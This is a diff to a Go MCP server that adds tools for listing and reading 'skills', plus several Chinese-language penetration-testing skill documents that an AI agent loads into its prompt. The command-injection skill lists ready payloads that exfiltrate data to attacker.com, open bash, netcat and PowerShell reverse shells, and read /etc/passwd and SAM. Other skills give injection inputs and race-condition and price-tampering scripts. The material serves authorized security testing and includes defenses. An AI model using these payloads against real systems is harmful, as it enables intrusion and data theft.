"获取所有可用的skills列表。Skills是专业知识文档,可以在执行任务前阅读以获取相关专业知识。使用此工具可以查看系统中所有可用的skills,然后使用read_skill工具读取特定skill的内容。", + ShortDescription: "获取所有可用的skills列表", + InputSchema: map[string]interface{}{ + "type": "object", + "properties": map[string]interface{}{}, + "required": []string{}, + }, + } + + listSkillsHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) { + skills, err := manager.ListSkills() + if err != nil { + logger.Error("获取skills列表失败", zap.Error(err)) + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: fmt.Sprintf("获取skills列表失败: %v", err), + }, + }, + IsError: true, + }, nil + } + + if len(skills) == 0 { + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: "当前没有可用的skills。\n\nSkills是专业知识文档,可以在执行任务前阅读以获取相关专业知识。你可以在skills目录下创建新的skill。", + }, + }, + IsError: false, + }, nil + } + + var result strings.Builder + result.WriteString(fmt.Sprintf("共有 %d 个可用的skills:\n\n", len(skills))) + for i, skill := range skills { + result.WriteString(fmt.Sprintf("%d. %s\n", i+1, skill)) + } + result.WriteString("\n使用 read_skill 工具可以读取特定skill的详细内容。\n") + result.WriteString("例如:read_skill(skill_name=\"sql-injection-testing\")") + + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: result.String(), + }, + }, + IsError: false, + }, nil + } + + mcpServer.RegisterTool(listSkillsTool, listSkillsHandler) + logger.Info("注册skills列表工具成功") + + // 注册第二个工具:读取特定skill的内容 + readSkillTool := mcp.Tool{ + Name: builtin.ToolReadSkill, + Description: "读取指定skill的详细内容。Skills是专业知识文档,包含测试方法、工具使用、最佳实践等。在执行相关任务前,可以调用此工具读取相关skill的内容,以获取专业知识和指导。", + ShortDescription: "读取指定skill的详细内容", + InputSchema: map[string]interface{}{ + "type": "object", + "properties": map[string]interface{}{ + "skill_name": map[string]interface{}{ + "type": "string", + "description": "要读取的skill名称(必需)。可以使用list_skills工具获取所有可用的skill名称。", + }, + }, + "required": []string{"skill_name"}, + }, + } + + readSkillHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) { + skillName, ok := args["skill_name"].(string) + if !ok || skillName == "" { + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: "错误: skill_name 参数必需且不能为空。请使用list_skills工具获取所有可用的skill名称。", + }, + }, + IsError: true, + }, nil + } + + skill, err := manager.LoadSkill(skillName) + failed := err != nil + now := time.Now() + + // 记录调用统计 + if storage != nil { + totalCalls := 1 + successCalls := 0 + failedCalls := 0 + if failed { + failedCalls = 1 + } else { + successCalls = 1 + } + if err := storage.UpdateSkillStats(skillName, totalCalls, successCalls, failedCalls, &now); err != nil { + logger.Warn("保存Skills统计信息失败", zap.String("skill", skillName), zap.Error(err)) + } else { + logger.Info("Skills统计信息已更新", + zap.String("skill", skillName), + zap.Int("totalCalls", totalCalls), + zap.Int("successCalls", successCalls), + zap.Int("failedCalls", failedCalls)) + } + } else { + logger.Warn("Skills统计存储未配置,无法记录调用统计", zap.String("skill", skillName)) + } + + if err != nil { + logger.Warn("读取skill失败", zap.String("skill", skillName), zap.Error(err)) + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: fmt.Sprintf("读取skill失败: %v\n\n请使用list_skills工具确认skill名称是否正确。", err), + }, + }, + IsError: true, + }, nil + } + + var result strings.Builder + result.WriteString(fmt.Sprintf("## Skill: %s\n\n", skill.Name)) + if skill.Description != "" { + result.WriteString(fmt.Sprintf("**描述**: %s\n\n", skill.Description)) + } + result.WriteString("---\n\n") + result.WriteString(skill.Content) + result.WriteString("\n\n---\n\n") + result.WriteString(fmt.Sprintf("*Skill路径: %s*", skill.Path)) + + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: result.String(), + }, + }, + IsError: false, + }, nil + } + + mcpServer.RegisterTool(readSkillTool, readSkillHandler) + logger.Info("注册skill读取工具成功") +} + +// SkillStatsStorage Skills统计存储接口 +type SkillStatsStorage interface { + UpdateSkillStats(skillName string, totalCalls, successCalls, failedCalls int, lastCallTime *time.Time) error + LoadSkillStats() (map[string]*SkillStats, error) +} + +// SkillStats Skills统计信息 +type SkillStats struct { + SkillName string + TotalCalls int + SuccessCalls int + FailedCalls int + LastCallTime *time.Time +} diff --git a/skills/README.md b/skills/README.md new file mode 100644 index 00000000..461dda61 --- /dev/null +++ b/skills/README.md @@ -0,0 +1,122 @@ +# Skills 系统使用指南 + +## 概述 + +Skills系统允许你为角色配置专业知识和技能文档。当角色执行任务时,系统会自动将这些skills的内容注入到系统提示词中,帮助AI更好地理解和执行相关任务。 + +## Skills结构 + +每个skill是一个目录,包含一个`SKILL.md`文件: + +``` +skills/ +├── sql-injection-testing/ +│ └── SKILL.md +├── xss-testing/ +│ └── SKILL.md +└── ... +``` + +## SKILL.md格式 + +SKILL.md文件支持YAML front matter格式(可选): + +```markdown +--- +name: skill-name +description: Skill的简短描述 +version: 1.0.0 +--- + +# Skill标题 + +这里是skill的详细内容,可以包含: +- 测试方法 +- 工具使用 +- 最佳实践 +- 示例代码 +- 等等... +``` + +如果不使用front matter,整个文件内容都会被作为skill内容。 + +## 在角色中配置Skills + +在角色配置文件中添加`skills`字段: + +```yaml +name: 渗透测试 +description: 专业渗透测试专家 +user_prompt: 你是一个专业的网络安全渗透测试专家... +tools: + - nmap + - sqlmap + - burpsuite +skills: + - sql-injection-testing + - xss-testing +enabled: true +``` + +`skills`字段是一个字符串数组,每个字符串是skill目录的名称。 + +## 工作原理 + +1. **加载阶段**:系统启动时,会扫描`skills_dir`目录下的所有skill +2. **执行阶段**:当使用某个角色执行任务时: + - 系统会加载该角色配置的所有skills + - 将skills内容合并并注入到系统提示词中 + - AI在执行任务前会阅读这些skills内容 +3. **按需调用**:即使角色没有配置skills,AI也可以通过以下工具按需调用: + - `list_skills`: 获取所有可用的skills列表 + - `read_skill`: 读取指定skill的详细内容 + + 这样AI可以在执行任务过程中,根据实际需要自主调用相关skills获取专业知识。 + +## 示例Skills + +### sql-injection-testing + +包含SQL注入测试的专业方法、工具使用、绕过技术等。 + +### xss-testing + +包含XSS测试的各种类型、payload、绕过技术等。 + +## 创建自定义Skill + +1. 在`skills`目录下创建新目录,例如`my-skill` +2. 在该目录下创建`SKILL.md`文件 +3. 编写skill内容 +4. 在角色配置中添加该skill名称 + +```bash +mkdir -p skills/my-skill +cat > skills/my-skill/SKILL.md << 'EOF' +--- +name: my-skill +description: 我的自定义技能 +--- + +# 我的自定义技能 + +这里是技能内容... +EOF +``` + +## 注意事项 + +- Skill内容会被注入到系统提示词中,注意控制长度避免超过token限制 +- Skill内容应该清晰、结构化,便于AI理解 +- 可以包含代码示例、命令示例等 +- 建议每个skill专注于一个特定领域或技能 + +## 配置 + +在`config.yaml`中配置skills目录: + +```yaml +skills_dir: skills # 相对于配置文件所在目录 +``` + +如果未配置,默认使用`skills`目录。 diff --git a/skills/api-security-testing/SKILL.md b/skills/api-security-testing/SKILL.md new file mode 100644 index 00000000..b40f178c --- /dev/null +++ b/skills/api-security-testing/SKILL.md @@ -0,0 +1,287 @@ +--- +name: api-security-testing +description: API安全测试的专业技能和方法论 +version: 1.0.0 +--- + +# API安全测试 + +## 概述 + +API安全测试是确保API接口安全性的重要环节。本技能提供API安全测试的方法、工具和最佳实践。 + +## 测试范围 + +### 1. 认证和授权 + +**测试项目:** +- Token有效性验证 +- Token过期处理 +- 权限控制 +- 角色权限验证 + +### 2. 输入验证 + +**测试项目:** +- 参数类型验证 +- 数据长度限制 +- 特殊字符处理 +- SQL注入防护 +- XSS防护 + +### 3. 业务逻辑 + +**测试项目:** +- 工作流验证 +- 状态转换 +- 并发控制 +- 业务规则 + +### 4. 错误处理 + +**测试项目:** +- 错误信息泄露 +- 堆栈跟踪 +- 敏感信息暴露 + +## 测试方法 + +### 1. API发现 + +**识别API端点:** +```bash +# 使用目录扫描 +gobuster dir -u https://target.com -w api-wordlist.txt + +# 使用Burp Suite被动扫描 +# 浏览应用,观察API调用 + +# 分析JavaScript文件 +# 查找API端点定义 +``` + +### 2. 认证测试 + +**Token测试:** +```http +# 测试无效Token +GET /api/user +Authorization: Bearer invalid_token + +# 测试过期Token +GET /api/user +Authorization: Bearer expired_token + +# 测试无Token +GET /api/user +``` + +**JWT测试:** +```bash +# 使用jwt_tool +python jwt_tool.py + +# 测试算法混淆 +python jwt_tool.py -X a + +# 测试密钥暴力破解 +python jwt_tool.py -C -d wordlist.txt +``` + +### 3. 授权测试 + +**水平权限:** +```http +# 用户A访问用户B的资源 +GET /api/user/123 +Authorization: Bearer user_a_token + +# 应该返回403 +``` + +**垂直权限:** +```http +# 普通用户访问管理员接口 +GET /api/admin/users +Authorization: Bearer user_token + +# 应该返回403 +``` + +### 4. 输入验证测试 + +**SQL注入:** +```http +POST /api/search +{ + "query": "test' OR '1'='1" +} +``` + +**命令注入:** +```http +POST /api/execute +{ + "command": "ping; id" +} +``` + +**XXE:** +```http +POST /api/parse +Content-Type: application/xml + + +]> +&xxe; +``` + +### 5. 速率限制测试 + +**测试速率限制:** +```python +import requests + +for i in range(1000): + response = requests.get('https://target.com/api/endpoint') + print(f"Request {i}: {response.status_code}") +``` + +## 工具使用 + +### Postman + +**创建测试集合:** +1. 导入API文档 +2. 设置认证 +3. 创建测试用例 +4. 运行自动化测试 + +### Burp Suite + +**API扫描:** +1. 配置API端点 +2. 设置认证 +3. 运行主动扫描 +4. 分析结果 + +### OWASP ZAP + +```bash +# API扫描 +zap-cli quick-scan --self-contained \ + --start-options '-config api.disablekey=true' \ + http://target.com/api +``` + +### REST-Attacker + +```bash +# 扫描OpenAPI规范 +rest-attacker scan openapi.yaml +``` + +## 常见漏洞 + +### 1. 认证绕过 + +**Token验证缺陷:** +- 弱Token生成 +- Token可预测 +- Token不验证签名 + +### 2. 权限提升 + +**IDOR:** +- 直接对象引用 +- 未验证资源所有权 + +### 3. 信息泄露 + +**错误信息:** +- 详细错误信息 +- 堆栈跟踪 +- 敏感数据 + +### 4. 注入漏洞 + +**常见注入:** +- SQL注入 +- NoSQL注入 +- 命令注入 +- XXE + +### 5. 业务逻辑 + +**逻辑缺陷:** +- 价格操作 +- 数量限制绕过 +- 状态修改 + +## 测试清单 + +### 认证测试 +- [ ] Token有效性验证 +- [ ] Token过期处理 +- [ ] 弱Token检测 +- [ ] Token重放攻击 + +### 授权测试 +- [ ] 水平权限测试 +- [ ] 垂直权限测试 +- [ ] 角色权限验证 +- [ ] 资源访问控制 + +### 输入验证 +- [ ] SQL注入测试 +- [ ] XSS测试 +- [ ] 命令注入测试 +- [ ] XXE测试 +- [ ] 参数污染 + +### 业务逻辑 +- [ ] 工作流验证 +- [ ] 状态转换 +- [ ] 并发控制 +- [ ] 业务规则 + +### 错误处理 +- [ ] 错误信息泄露 +- [ ] 堆栈跟踪 +- [ ] 敏感信息暴露 + +## 防护措施 + +### 推荐方案 + +1. **认证** + - 使用强Token + - 实现Token刷新 + - 验证Token签名 + +2. **授权** + - 基于角色的访问控制 + - 资源所有权验证 + - 最小权限原则 + +3. **输入验证** + - 参数类型验证 + - 数据长度限制 + - 白名单验证 + +4. **错误处理** + - 统一错误响应 + - 不泄露详细信息 + - 记录错误日志 + +5. **速率限制** + - 实现API限流 + - 防止暴力破解 + - 监控异常请求 + +## 注意事项 + +- 仅在授权测试环境中进行 +- 避免对API造成影响 +- 注意不同API版本的差异 +- 测试时注意请求频率 \ No newline at end of file diff --git a/skills/business-logic-testing/SKILL.md b/skills/business-logic-testing/SKILL.md new file mode 100644 index 00000000..92c069d0 --- /dev/null +++ b/skills/business-logic-testing/SKILL.md @@ -0,0 +1,402 @@ +--- +name: business-logic-testing +description: 业务逻辑漏洞测试的专业技能和方法论 +version: 1.0.0 +--- + +# 业务逻辑漏洞测试 + +## 概述 + +业务逻辑漏洞是应用程序在业务处理流程中的设计缺陷,可能导致未授权操作、数据篡改、资金损失等。本技能提供业务逻辑漏洞的检测、利用和防护方法。 + +## 漏洞类型 + +### 1. 工作流绕过 + +**跳过验证步骤:** +- 直接访问最终步骤 +- 修改步骤顺序 +- 重复执行步骤 + +### 2. 价格操作 + +**负数价格:** +- 输入负数金额 +- 导致账户余额增加 + +**价格篡改:** +- 修改前端价格 +- 修改API请求中的价格 + +### 3. 数量限制绕过 + +**负数数量:** +- 输入负数 +- 可能导致库存增加 + +**超出限制:** +- 修改数量限制 +- 批量操作绕过 + +### 4. 时间竞争 + +**并发请求:** +- 同时发送多个请求 +- 绕过单次限制 + +### 5. 状态操作 + +**状态回退:** +- 将已完成订单改为待支付 +- 修改订单状态 + +## 测试方法 + +### 1. 工作流分析 + +**识别业务流程:** +- 注册流程 +- 购买流程 +- 提现流程 +- 审核流程 + +**测试步骤跳过:** +``` +正常流程: 步骤1 → 步骤2 → 步骤3 +测试: 直接访问步骤3 +测试: 步骤1 → 步骤3(跳过步骤2) +``` + +### 2. 参数篡改 + +**修改关键参数:** +```http +POST /api/purchase +{ + "product_id": 123, + "quantity": 1, + "price": 100.00 # 修改为 0.01 +} +``` + +**负数测试:** +```json +{ + "quantity": -1, + "price": -100.00 +} +``` + +### 3. 并发测试 + +**同时发送请求:** +```python +import threading +import requests + +def purchase(): + requests.post('https://target.com/api/purchase', + json={'product_id': 123, 'quantity': 1}) + +# 同时发送10个请求 +for i in range(10): + threading.Thread(target=purchase).start() +``` + +### 4. 状态修改 + +**修改订单状态:** +```http +PATCH /api/order/123 +{ + "status": "completed" # 修改为已完成 +} +``` + +**回退状态:** +```http +PATCH /api/order/123 +{ + "status": "pending" # 从已完成回退到待支付 +} +``` + +## 利用技术 + +### 价格操作 + +**负数价格:** +```json +{ + "product_id": 123, + "price": -100.00, + "quantity": 1 +} +``` + +**修改前端价格:** +```javascript +// 前端代码 +const price = 100.00; + +// 修改为 +const price = 0.01; +``` + +**API价格修改:** +```http +POST /api/checkout +{ + "items": [ + { + "product_id": 123, + "price": 0.01, # 原价100.00 + "quantity": 1 + } + ] +} +``` + +### 数量限制绕过 + +**负数数量:** +```json +{ + "product_id": 123, + "quantity": -10 # 可能导致库存增加 +} +``` + +**超出限制:** +```json +{ + "product_id": 123, + "quantity": 999999 # 超出单次购买限制 +} +``` + +### 优惠券滥用 + +**重复使用:** +```http +POST /api/checkout +{ + "coupon": "DISCOUNT50", + "items": [...] +} + +# 重复使用同一优惠券 +``` + +**未激活优惠券:** +```http +POST /api/checkout +{ + "coupon": "EXPIRED_COUPON", # 使用过期优惠券 + "items": [...] +} +``` + +### 提现漏洞 + +**负数提现:** +```json +{ + "amount": -1000.00 # 可能导致账户余额增加 +} +``` + +**超出余额:** +```json +{ + "amount": 999999.00 # 超出账户余额 +} +``` + +### 时间竞争 + +**并发购买:** +```python +import threading +import requests + +def buy(): + requests.post('https://target.com/api/purchase', + json={'product_id': 123, 'quantity': 1}) + +# 限时抢购,并发请求 +for i in range(100): + threading.Thread(target=buy).start() +``` + +## 绕过技术 + +### 前端验证绕过 + +**直接调用API:** +- 绕过前端JavaScript验证 +- 直接发送API请求 + +**修改请求:** +- 使用Burp Suite拦截 +- 修改参数后发送 + +### 状态码分析 + +**观察响应:** +- 200 OK - 可能成功 +- 400 Bad Request - 参数错误 +- 403 Forbidden - 权限不足 +- 500 Internal Server Error - 服务器错误 + +### 错误信息利用 + +**从错误信息获取信息:** +``` +错误: "余额不足,当前余额: 100.00" +→ 可以获取账户余额信息 +``` + +## 工具使用 + +### Burp Suite + +**使用Repeater:** +1. 拦截业务请求 +2. 修改关键参数 +3. 观察响应 + +**使用Intruder:** +1. 标记参数 +2. 使用Payload列表 +3. 批量测试 + +### 自定义脚本 + +```python +import requests +import json + +def test_price_manipulation(): + # 测试价格修改 + for price in [0.01, -100, 0, 999999]: + data = { + "product_id": 123, + "price": price, + "quantity": 1 + } + response = requests.post('https://target.com/api/purchase', + json=data) + print(f"Price {price}: {response.status_code}") + +test_price_manipulation() +``` + +## 验证和报告 + +### 验证步骤 + +1. 确认可以绕过业务逻辑限制 +2. 验证可以执行未授权操作 +3. 评估影响(资金损失、数据篡改等) +4. 记录完整的POC + +### 报告要点 + +- 漏洞位置和业务流程 +- 可执行的未授权操作 +- 完整的利用步骤和PoC +- 修复建议(服务端验证、业务规则检查等) + +## 防护措施 + +### 推荐方案 + +1. **服务端验证** + ```python + def process_purchase(product_id, quantity, price): + # 从数据库获取真实价格 + real_price = db.get_product_price(product_id) + + # 验证价格 + if price != real_price: + raise ValueError("Price mismatch") + + # 验证数量 + if quantity <= 0: + raise ValueError("Invalid quantity") + + # 处理购买 + process_order(product_id, quantity, real_price) + ``` + +2. **状态机验证** + ```python + class OrderState: + PENDING = "pending" + PAID = "paid" + SHIPPED = "shipped" + COMPLETED = "completed" + + TRANSITIONS = { + PENDING: [PAID], + PAID: [SHIPPED], + SHIPPED: [COMPLETED] + } + + def can_transition(self, from_state, to_state): + return to_state in self.TRANSITIONS.get(from_state, []) + ``` + +3. **并发控制** + ```python + import threading + + lock = threading.Lock() + + def process_order(order_id): + with lock: + # 检查订单状态 + order = db.get_order(order_id) + if order.status != 'pending': + raise ValueError("Order already processed") + + # 处理订单 + process(order) + ``` + +4. **业务规则验证** + ```python + def validate_business_rules(order): + # 验证数量限制 + if order.quantity > MAX_QUANTITY: + raise ValueError("Quantity exceeds limit") + + # 验证价格范围 + if order.price <= 0: + raise ValueError("Invalid price") + + # 验证库存 + if order.quantity > get_stock(order.product_id): + raise ValueError("Insufficient stock") + ``` + +5. **审计日志** + ```python + def log_business_action(user_id, action, details): + log_entry = { + "user_id": user_id, + "action": action, + "details": details, + "timestamp": datetime.now() + } + db.log_action(log_entry) + ``` + +## 注意事项 + +- 仅在授权测试环境中进行 +- 避免对业务造成实际影响 +- 注意不同业务流程的差异 +- 测试时注意数据一致性 \ No newline at end of file diff --git a/skills/cloud-security-audit/SKILL.md b/skills/cloud-security-audit/SKILL.md new file mode 100644 index 00000000..98b45673 --- /dev/null +++ b/skills/cloud-security-audit/SKILL.md @@ -0,0 +1,343 @@ +--- +name: cloud-security-audit +description: 云安全审计的专业技能和方法论 +version: 1.0.0 +--- + +# 云安全审计 + +## 概述 + +云安全审计是评估云环境安全性的重要环节。本技能提供云安全审计的方法、工具和最佳实践,涵盖AWS、Azure、GCP等主流云平台。 + +## 审计范围 + +### 1. 身份和访问管理 + +**检查项目:** +- IAM策略配置 +- 用户权限 +- 角色权限 +- 访问密钥管理 + +### 2. 网络安全 + +**检查项目:** +- 安全组配置 +- 网络ACL +- VPC配置 +- 流量加密 + +### 3. 数据安全 + +**检查项目:** +- 数据加密 +- 密钥管理 +- 备份策略 +- 数据分类 + +### 4. 合规性 + +**检查项目:** +- 合规框架 +- 审计日志 +- 监控告警 +- 事件响应 + +## AWS安全审计 + +### IAM审计 + +**检查IAM策略:** +```bash +# 列出所有IAM用户 +aws iam list-users + +# 列出所有IAM策略 +aws iam list-policies + +# 检查用户权限 +aws iam list-user-policies --user-name username +aws iam list-attached-user-policies --user-name username + +# 检查角色权限 +aws iam list-role-policies --role-name rolename +``` + +**常见问题:** +- 过度权限 +- 未使用的访问密钥 +- 密码策略弱 +- MFA未启用 + +### S3安全审计 + +**检查S3存储桶:** +```bash +# 列出所有存储桶 +aws s3 ls + +# 检查存储桶策略 +aws s3api get-bucket-policy --bucket bucketname + +# 检查存储桶ACL +aws s3api get-bucket-acl --bucket bucketname + +# 检查存储桶加密 +aws s3api get-bucket-encryption --bucket bucketname +``` + +**常见问题:** +- 公开访问 +- 未加密 +- 版本控制未启用 +- 日志记录未启用 + +### 安全组审计 + +**检查安全组:** +```bash +# 列出所有安全组 +aws ec2 describe-security-groups + +# 检查开放端口 +aws ec2 describe-security-groups --group-ids sg-xxx +``` + +**常见问题:** +- 0.0.0.0/0开放 +- 不必要的端口开放 +- 规则过于宽松 + +### CloudTrail审计 + +**检查审计日志:** +```bash +# 列出所有跟踪 +aws cloudtrail describe-trails + +# 检查日志文件完整性 +aws cloudtrail get-trail-status --name trailname +``` + +## Azure安全审计 + +### 订阅和资源组 + +**检查订阅:** +```bash +# 列出所有订阅 +az account list + +# 检查资源组 +az group list +``` + +### 网络安全组 + +**检查NSG:** +```bash +# 列出所有NSG +az network nsg list + +# 检查NSG规则 +az network nsg rule list --nsg-name nsgname --resource-group rgname +``` + +### 存储账户 + +**检查存储账户:** +```bash +# 列出所有存储账户 +az storage account list + +# 检查访问策略 +az storage account show --name accountname --resource-group rgname +``` + +## GCP安全审计 + +### 项目和组织 + +**检查项目:** +```bash +# 列出所有项目 +gcloud projects list + +# 检查IAM策略 +gcloud projects get-iam-policy project-id +``` + +### 计算引擎 + +**检查实例:** +```bash +# 列出所有实例 +gcloud compute instances list + +# 检查防火墙规则 +gcloud compute firewall-rules list +``` + +### 存储 + +**检查存储桶:** +```bash +# 列出所有存储桶 +gsutil ls + +# 检查存储桶权限 +gsutil iam get gs://bucketname +``` + +## 自动化工具 + +### Scout Suite + +```bash +# AWS审计 +scout aws + +# Azure审计 +scout azure + +# GCP审计 +scout gcp +``` + +### Prowler + +```bash +# AWS安全审计 +prowler -c check11,check12,check13 + +# 完整审计 +prowler +``` + +### CloudSploit + +```bash +# 扫描AWS账户 +cloudsploit scan aws + +# 扫描Azure订阅 +cloudsploit scan azure +``` + +### Pacu + +```bash +# AWS渗透测试框架 +pacu +``` + +## 审计清单 + +### IAM安全 +- [ ] 检查用户权限 +- [ ] 检查角色权限 +- [ ] 检查访问密钥 +- [ ] 检查密码策略 +- [ ] 检查MFA启用情况 + +### 网络安全 +- [ ] 检查安全组/NSG规则 +- [ ] 检查VPC配置 +- [ ] 检查网络ACL +- [ ] 检查流量加密 + +### 数据安全 +- [ ] 检查数据加密 +- [ ] 检查密钥管理 +- [ ] 检查备份策略 +- [ ] 检查数据分类 + +### 合规性 +- [ ] 检查审计日志 +- [ ] 检查监控告警 +- [ ] 检查事件响应 +- [ ] 检查合规框架 + +## 常见安全问题 + +### 1. 过度权限 + +**问题:** +- IAM策略过于宽松 +- 用户拥有管理员权限 +- 角色权限过大 + +**修复:** +- 最小权限原则 +- 定期审查权限 +- 使用IAM策略模拟 + +### 2. 公开资源 + +**问题:** +- S3存储桶公开 +- 安全组开放0.0.0.0/0 +- 数据库公开访问 + +**修复:** +- 限制访问范围 +- 使用私有网络 +- 启用访问控制 + +### 3. 未加密数据 + +**问题:** +- 存储未加密 +- 传输未加密 +- 密钥管理不当 + +**修复:** +- 启用加密 +- 使用TLS/SSL +- 使用密钥管理服务 + +### 4. 日志缺失 + +**问题:** +- 未启用审计日志 +- 日志未保留 +- 日志未监控 + +**修复:** +- 启用CloudTrail/Azure Monitor +- 设置日志保留策略 +- 配置监控告警 + +## 最佳实践 + +### 1. 最小权限 + +- 只授予必要权限 +- 定期审查权限 +- 使用IAM策略模拟 + +### 2. 多层防护 + +- 网络层防护 +- 应用层防护 +- 数据层防护 + +### 3. 监控和告警 + +- 启用审计日志 +- 配置监控告警 +- 建立事件响应流程 + +### 4. 合规性 + +- 遵循合规框架 +- 定期安全审计 +- 文档化安全策略 + +## 注意事项 + +- 仅在授权环境中进行审计 +- 避免对生产环境造成影响 +- 注意不同云平台的差异 +- 定期进行安全审计 \ No newline at end of file diff --git a/skills/command-injection-testing/SKILL.md b/skills/command-injection-testing/SKILL.md new file mode 100644 index 00000000..f660412f --- /dev/null +++ b/skills/command-injection-testing/SKILL.md @@ -0,0 +1,302 @@ +--- +name: command-injection-testing +description: 命令注入漏洞测试的专业技能和方法论 +version: 1.0.0 +--- + +# 命令注入漏洞测试 + +## 概述 + +命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。 + +## 漏洞原理 + +应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。 + +**危险代码示例:** +```php +// PHP +system("ping " . $_GET['ip']); + +// Python +os.system("ping " + user_input) + +// Node.js +child_process.exec("ping " + user_input) +``` + +## 测试方法 + +### 1. 识别命令执行点 + +**常见功能:** +- Ping功能 +- DNS查询 +- 文件操作 +- 系统信息 +- 日志查看 +- 备份恢复 + +### 2. 基础检测 + +**测试命令分隔符:** +``` +; # 命令分隔符(Linux/Windows) +& # 后台执行(Linux/Windows) +| # 管道符(Linux/Windows) +&& # 逻辑与(Linux/Windows) +|| # 逻辑或(Linux/Windows) +` # 命令替换(Linux) +$() # 命令替换(Linux) +``` + +**测试Payload:** +``` +127.0.0.1; id +127.0.0.1 && whoami +127.0.0.1 | cat /etc/passwd +127.0.0.1 `whoami` +127.0.0.1 $(whoami) +``` + +### 3. 盲命令注入 + +**时间延迟检测:** +``` +127.0.0.1; sleep 5 +127.0.0.1 && sleep 5 +127.0.0.1 | sleep 5 +``` + +**外带数据:** +``` +127.0.0.1; curl http://attacker.com/?$(whoami) +127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd) +``` + +**DNS外带:** +``` +127.0.0.1; nslookup $(whoami).attacker.com +``` + +## 利用技术 + +### 基础命令执行 + +**Linux:** +``` +; id +; whoami +; uname -a +; cat /etc/passwd +; ls -la +``` + +**Windows:** +``` +& whoami +& ipconfig +& type C:\Windows\System32\drivers\etc\hosts +& dir +``` + +### 文件操作 + +**读取文件:** +``` +; cat /etc/passwd +; type C:\Windows\System32\config\sam +; head -n 20 /var/log/apache2/access.log +``` + +**写入文件:** +``` +; echo "" > /tmp/shell.php +; echo "test" > C:\temp\test.txt +``` + +### 反弹Shell + +**Bash:** +``` +; bash -i >& /dev/tcp/attacker.com/4444 0>&1 +``` + +**Netcat:** +``` +; nc -e /bin/bash attacker.com 4444 +; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f +``` + +**PowerShell:** +``` +& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +``` + +## 绕过技术 + +### 空格绕过 + +``` +${IFS}id +${IFS}whoami +$IFS$9id +<> +%09 (Tab) +%20 (Space) +``` + +### 命令分隔符绕过 + +**编码绕过:** +``` +%3b (;) +%26 (&) +%7c (|) +``` + +**换行绕过:** +``` +%0a (换行) +%0d (回车) +``` + +### 关键字过滤绕过 + +**变量拼接:** +```bash +a=w;b=ho;c=ami;$a$b$c +``` + +**通配符:** +```bash +/bin/c?t /etc/passwd +/usr/bin/ca* /etc/passwd +``` + +**引号绕过:** +```bash +w'h'o'a'm'i +w"h"o"a"m"i +``` + +**反斜杠:** +```bash +w\ho\am\i +``` + +**Base64编码:** +```bash +echo "d2hvYW1p" | base64 -d | bash +``` + +### 长度限制绕过 + +**使用文件:** +```bash +echo "id" > /tmp/c +sh /tmp/c +``` + +**使用环境变量:** +```bash +export x='id';$x +``` + +## 工具使用 + +### Commix + +```bash +# 基础扫描 +python commix.py -u "http://target.com/ping?ip=127.0.0.1" + +# 指定注入点 +python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE" + +# 获取Shell +python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell +``` + +### Burp Suite + +1. 拦截请求 +2. 发送到Intruder +3. 使用命令注入Payload列表 +4. 观察响应或时间延迟 + +## 验证和报告 + +### 验证步骤 + +1. 确认可以执行系统命令 +2. 验证命令执行结果 +3. 评估影响(系统控制、数据泄露等) +4. 记录完整的POC + +### 报告要点 + +- 漏洞位置和输入参数 +- 可执行的命令类型 +- 完整的利用步骤和POC +- 修复建议(输入验证、参数化、白名单等) + +## 防护措施 + +### 推荐方案 + +1. **避免命令执行** + - 使用API替代系统命令 + - 使用库函数替代命令 + +2. **输入验证** + ```python + import re + + def validate_ip(ip): + pattern = r'^(\d{1,3}\.){3}\d{1,3}$' + if not re.match(pattern, ip): + raise ValueError("Invalid IP") + parts = ip.split('.') + if not all(0 <= int(p) <= 255 for p in parts): + raise ValueError("Invalid IP range") + return ip + ``` + +3. **参数化命令** + ```python + import subprocess + + # 危险 + subprocess.call(['ping', '-c', '1', user_input]) + + # 安全 - 使用参数列表 + subprocess.call(['ping', '-c', '1', validated_ip]) + ``` + +4. **白名单验证** + ```python + ALLOWED_COMMANDS = ['ping', 'nslookup'] + ALLOWED_OPTIONS = {'ping': ['-c', '-n']} + + if command not in ALLOWED_COMMANDS: + raise ValueError("Command not allowed") + ``` + +5. **最小权限** + - 使用低权限用户运行应用 + - 限制文件系统访问 + - 使用chroot或容器隔离 + +6. **输出过滤** + - 限制输出内容 + - 过滤敏感信息 + - 记录命令执行日志 + +## 注意事项 + +- 仅在授权测试环境中进行 +- 避免对系统造成破坏 +- 注意不同操作系统的命令差异 +- 测试时注意命令执行的影响范围 \ No newline at end of file diff --git a/skills/container-security-testing/SKILL.md b/skills/container-security-testing/SKILL.md new file mode 100644 index 00000000..d2ee438b --- /dev/null +++ b/skills/container-security-testing/SKILL.md @@ -0,0 +1,377 @@ +--- +name: container-security-testing +description: 容器安全测试的专业技能和方法论 +version: 1.0.0 +--- + +# 容器安全测试 + +## 概述 + +容器安全测试是确保容器化应用安全性的重要环节。本技能提供容器安全测试的方法、工具和最佳实践,涵盖Docker、Kubernetes等容器技术。 + +## 测试范围 + +### 1. 